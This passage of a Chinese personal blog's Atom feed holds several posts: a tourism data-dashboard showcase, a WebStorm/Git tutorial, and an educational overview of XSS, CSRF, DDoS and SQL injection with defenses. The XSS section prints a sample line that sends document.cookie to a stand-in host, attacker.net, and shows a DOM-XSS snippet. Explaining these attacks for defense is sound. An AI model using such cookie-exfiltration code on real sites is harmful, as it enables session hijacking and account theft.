&lt;img src=&quot;/images/web/w14.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</content><author><name>Xuanshi Lao</name></author><category term="前端开发" /><summary type="html">雅虎性能优化14条军规 请求数量 合并脚本和样式表 HTTP 请求需要开销,合并脚本和样式表可以减少请求的次数 CSS Sprites CSS 雪碧图,也称 CSS 精灵,原理是把多张图片文件整合至一张文件中,进而减少 HTTP 请求,使用时利用 CSS 的相关属性(background-image、background-repeat、background-position等)组合进行图片背景定位，即可精确的定位出背景图片的位置 （http://www.w3schools.com/css/css_image_sprites.asp） 图片较多的页面也可以使用 lazyLoad 技术进行优化。</summary></entry><entry><title type="html">旅游大数据分析平台页面</title><link href="http://laoxuanshi.github.io/2016/11/15/travel/" rel="alternate" type="text/html" title="旅游大数据分析平台页面" /><published>2016-11-15T00:00:00+00:00</published><updated>2016-11-15T00:00:00+00:00</updated><id>http://laoxuanshi.github.io/2016/11/15/travel</id><content type="html" xml:base="http://laoxuanshi.github.io/2016/11/15/travel/">&lt;h2 id=&quot;旅游业分析指标&quot;&gt;旅游业分析指标&lt;/h2&gt;
&lt;h3 id=&quot;景区概览&quot;&gt;景区概览&lt;/h3&gt;
&lt;h4 id=&quot;综合图&quot;&gt;综合图&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;/images/web/w17.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4 id=&quot;旅游线路&quot;&gt;旅游线路&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;/images/web/w18.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3 id=&quot;景区分布&quot;&gt;景区分布&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/web/w19.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;归属统计&quot;&gt;归属统计&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/web/w20.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;客流统计&quot;&gt;客流统计&lt;/h3&gt;
&lt;h4 id=&quot;景区流量&quot;&gt;景区流量&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;/images/web/w21.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;住宿分布&quot;&gt;住宿分布&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;/images/web/w22.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;景区客源结构分析&quot;&gt;景区客源结构分析&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/web/w23.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;本省人分析&quot;&gt;本省人分析&lt;/h2&gt;

&lt;h3 id=&quot;top10频繁地点&quot;&gt;Top10频繁地点&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/web/w24.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3 id=&quot;家和工作地点的频繁路径&quot;&gt;家和工作地点的频繁路径&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/web/w25.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;用户移动行为挖掘&quot;&gt;用户移动行为挖掘&lt;/h2&gt;
&lt;h3 id=&quot;区域移动模式统计&quot;&gt;区域移动模式统计&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/web/w26.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3 id=&quot;道路映射&quot;&gt;道路映射&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/web/w27.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</content><author><name>Xuanshi Lao</name></author><category term="项目展示" /><summary type="html">旅游业分析指标 景区概览 综合图 旅游线路 景区分布</summary></entry><entry><title type="html">Web安全问题</title><link href="http://laoxuanshi.github.io/2016/09/13/web%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/" rel="alternate" type="text/html" title="Web安全问题" /><published>2016-09-13T00:00:00+00:00</published><updated>2016-09-13T00:00:00+00:00</updated><id>http://laoxuanshi.github.io/2016/09/13/web%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98</id><content type="html" xml:base="http://laoxuanshi.github.io/2016/09/13/web%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/">&lt;p&gt;随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生，基于Web环境的互联网应用越来越广泛，企业信息化的过程中各种应用都架设在Web平台上，Web业务的迅速发展也引起黑客们的强烈关注，接踵而至的就是Web安全威胁的凸显。下文对常见的Web安全问题和防范防范进行学习和总结。&lt;/p&gt;

&lt;h2 id=&quot;跨站脚本攻击xss&quot;&gt;跨站脚本攻击(XSS)&lt;/h2&gt;
&lt;h3 id=&quot;简介&quot;&gt;简介&lt;/h3&gt;
&lt;p&gt;跨站脚本攻击(Cross Site Scripting)为和层叠样式表(Cascading Style Sheets，CSS)区分开，在安全领域叫做“XSS”。恶意攻击者往Web页面里注入恶意Script代码，当用户浏览这些网页时，就会执行其中的恶意代码，
可对用户进行盗取cookie信息、会话劫持、篡改网页等各种攻击。XSS是常见的Web攻击技术之一，由于跨站脚本漏洞易于出现且利用成本低，所以被OWASP列为当前的头号Web安全威胁。
攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL，当受害者在Web中打开该URL的时候，恶意脚本会在受害者的计算机上执行。&lt;/p&gt;
&lt;h3 id=&quot;分类&quot;&gt;分类&lt;/h3&gt;
&lt;h4 id=&quot;反射型xss&quot;&gt;反射型XSS&lt;/h4&gt;
&lt;p&gt;服务器接受客户端的请求包，不会存储请求包的内容，只是简单的把用户输入的数据“反射”给浏览器。比如&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var i = new Image;
i.src=&quot;http://attacker.net/&quot;+document.cookie;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;访问这个链接则会获取cookie内容。&lt;/p&gt;
&lt;h4 id=&quot;存储型xss&quot;&gt;存储型XSS&lt;/h4&gt;
&lt;p&gt;这类XSS攻击会把用户输入的数据“存储”在服务器端的数据库中。多发生在富文本编辑器、日志、留言、配置系统等数据库保存用户输入内容的业务场景。即用户的注入脚本保存到了数据库里，
其他用户进行访问涉及到包含恶意脚本的链接都会中招。由于这段恶意的脚本被上传保存到了服务器，这种XSS攻击就叫做“存储型XSS”。&lt;/p&gt;
&lt;h4 id=&quot;基于dom的xss&quot;&gt;基于DOM的XSS&lt;/h4&gt;
&lt;p&gt;DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与，触发XSS靠的是浏览器端的DOM解析。攻击者将攻击脚本注入到DOM结构里，比如&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;document.write(window.location.search); &amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&quot;防范&quot;&gt;防范&lt;/h3&gt;
&lt;h4 id=&quot;对输入进行检查过滤&quot;&gt;对输入进行检查、过滤&lt;/h4&gt;
&lt;p&gt;不信任任何用户的输入，对每个用户的输入都做严格检查。通过检验输入值的有效性， 当输入值不符合条件时就显示错误消息并促使用户重新输入，在输出的时候，对某些特殊字符进行转义，替换。
例如，在HTML中显示&amp;lt;时，必须按照字符实体引用（Character Entity Reference）将其转义记载为’&amp;amp;lt’;。而如果忽略这一步骤直接生成HTML的话，浏览器就会将&amp;lt;解释为标签的开始。
从而就会招致恶意利用此漏洞进行的XSS攻击。
没有用引号括起来的属性值也会导致XSS攻击，空格就意味着属性值的结束，就可以通过插入空格来添加属性，比如onmouseover事件绑定。
然而， 即使属性值都用引号括了起来，但只要”没有被转义，还是会发生 XSS 攻击。所以要对&amp;lt;和”进行转义。&lt;/p&gt;
&lt;h4 id=&quot;输出编码&quot;&gt;输出编码&lt;/h4&gt;
&lt;p&gt;服务器端输出到浏览器的数据，可以使用系统的安全函数来进行编码或转义来防范XSS攻击。JavaScript的编码方式可以使用JavascriptEncode。&lt;/p&gt;

&lt;h4 id=&quot;辅助性对策&quot;&gt;辅助性对策&lt;/h4&gt;
&lt;p&gt;给 Cookie添加 HttpOnly属性，该属性能禁止JavaScript读取Cookie值。对Cookie信息进行MD5等算法进行多次散列存放，必要时还要对ip和cookie进行绑定，一旦检测异常，立马让用户重新登录。&lt;/p&gt;

&lt;h2 id=&quot;跨站请求伪造csrf&quot;&gt;跨站请求伪造(CSRF)&lt;/h2&gt;
&lt;h3 id=&quot;简介-1&quot;&gt;简介&lt;/h3&gt;
&lt;p&gt;跨站请求伪造(CSRF)可以攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账……造成的问题包括：个人隐私泄露以及财产安全。参考别的博客的一张图，过程如下：
&lt;img src=&quot;/images/web/w12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3 id=&quot;防范-1&quot;&gt;防范&lt;/h3&gt;
&lt;p&gt;1、执行重要业务之前，要求用户提交额外的信息。通过 token 或者 验证码 来检测用户提交
2、尽量不要在页面的链接中暴露用户隐私信息，对于用户修改删除等操作最好都使用post 操作。
3、限制验证cookie的到期时间。这些cookie的合法时间越短，黑客利用你的Web应用程序的机会就越小。不过，这个时间越短，用户就越不方便。因此，你需要在安全性和方便性之间进行平衡。避免全站通用的cookie，严格设置cookie的域&lt;/p&gt;

&lt;h2 id=&quot;分布式拒绝服务攻击ddos&quot;&gt;分布式拒绝服务攻击(DDoS)&lt;/h2&gt;
&lt;h3 id=&quot;简介-2&quot;&gt;简介&lt;/h3&gt;
&lt;p&gt;利用合理的服务请求来占用过多的服务资源，从而使合法用户无法得到服务的响应&lt;/p&gt;

&lt;h3 id=&quot;防范-2&quot;&gt;防范&lt;/h3&gt;
&lt;p&gt;1、隐藏服务器的真实IP地址，及时变更
2、防火墙上放置一份 ACL（访问控制列表)来阻断这些来自这些 IP 的访问
3、使用高性能的负载均衡软件&lt;/p&gt;

&lt;h2 id=&quot;sql注入&quot;&gt;SQL注入&lt;/h2&gt;
&lt;h3 id=&quot;简介-3&quot;&gt;简介&lt;/h3&gt;
&lt;p&gt;把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。&lt;/p&gt;
&lt;h3 id=&quot;防范-3&quot;&gt;防范&lt;/h3&gt;
&lt;p&gt;单引号转义、preparestatement预编译接口&lt;/p&gt;</content><author><name>Xuanshi Lao</name></author><category term="前端开发" /><summary type="html">随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生，基于Web环境的互联网应用越来越广泛，企业信息化的过程中各种应用都架设在Web平台上，Web业务的迅速发展也引起黑客们的强烈关注，接踵而至的就是Web安全威胁的凸显。下文对常见的Web安全问题和防范防范进行学习和总结。</summary></entry><entry><title type="html">在Webstorm中使用Git</title><link href="http://laoxuanshi.github.io/2015/04/10/webstorm/" rel="alternate" type="text/html" title="在Webstorm中使用Git" /><published>2015-04-10T00:00:00+00:00</published><updated>2015-04-10T00:00:00+00:00</updated><id>http://laoxuanshi.github.io/2015/04/10/webstorm</id><content type="html" xml:base="http://laoxuanshi.github.io/2015/04/10/webstorm/">&lt;p&gt;Webstorm是前端开发中较常用的软件，它集成了Github的管理，可以让我们不用总是输入Git命令来同步项目，十分方便快捷，下面介绍如何在在Webstorm使用Github。&lt;/p&gt;

&lt;h2 id=&quot;webstorm中配置github&quot;&gt;Webstorm中配置Github&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;在Webstorm界面选择File -&amp;gt; Settings，在左上角搜索Github，填入你Github的账户名和密码（没有就去注册一个），然后点Test看看是否连接成功。
&lt;img src=&quot;/images/web/w1.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
  &lt;li&gt;成功连接后，如下图配置好到Git的安装目录。如果没有安装，先去https://code.google.com/p/msysgit/downloads/list下载安装Git。
&lt;img src=&quot;/images/web/w2.jpg&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
  &lt;li&gt;配置本机SSH。先找到Git的安装目录中打开“Git Bash”
&lt;img src=&quot;/images/web/w3.jpg&quot; alt=&quot;&quot; /&gt;
在命令行输入&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh-keygen -t rsa -C &quot;your_email@youremail.com&quot;&lt;/code&gt;创建一个新的SSH，按两次回车即可生成。成功后，找到用户目录下的C:\Users\你的计算机用户名.ssh\id_rsa.pub，用记事本打开，并复制里面的SSH码。
&lt;img src=&quot;/images/web/w4.jpg&quot; alt=&quot;&quot; /&gt;
  &lt;br /&gt;
在浏览器打开Github，如下图进入SSH添加页面，输入Title，下面的Key粘贴刚刚复制的SSH key：
&lt;img src=&quot;/images/web/w5.jpg&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;webstorm中使用github&quot;&gt;Webstorm中使用Github&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;配置了git后就可以克隆项目了，在Webstorm界面选择VCS -&amp;gt; Checkout from Version Control -&amp;gt; git，输入想克隆的Repositories下载到本地，便可以进行管理。
&lt;img src=&quot;/images/web/w6.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;改项目的文件，左侧文件变成了蓝色：  &lt;br /&gt;
&lt;img src=&quot;/images/web/w7.jpg&quot; alt=&quot;&quot; /&gt;
添加某个文件，文件名变红，就得将这个文件先add到本地github库中:
&lt;img src=&quot;/images/web/w8.jpg&quot; alt=&quot;&quot; /&gt;
然后文件名变成绿色，就证明添加成功了。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;修改完后就可以上传了，点击右上角的上传按钮&lt;img src=&quot;/images/web/w9.jpg&quot; alt=&quot;&quot; /&gt;，下载要上传的文件，在commit message填写修改标识。填完所有信息后，我们把鼠标移动到Commit的地方，有一个Commit and Push，这就是为了将我们的修改同步到github上，如英文所示，直接Commit，就是单纯提交你的修改，可是push，就是把你的修改提交到Github上的代码库中。
&lt;img src=&quot;/images/web/w10.jpg&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
  &lt;li&gt;提示成功后，过几分钟刷新页面，就可以看到刚才的修改了。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/images/web/w11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</content><author><name>Xuanshi Lao</name></author><category term="前端开发" /><summary type="html">Webstorm是前端开发中较常用的软件，它集成了Github的管理，可以让我们不用总是输入Git命令来同步项目，十分方便快捷，下面介绍如何在在Webstorm使用Github。</summary></entry></feed>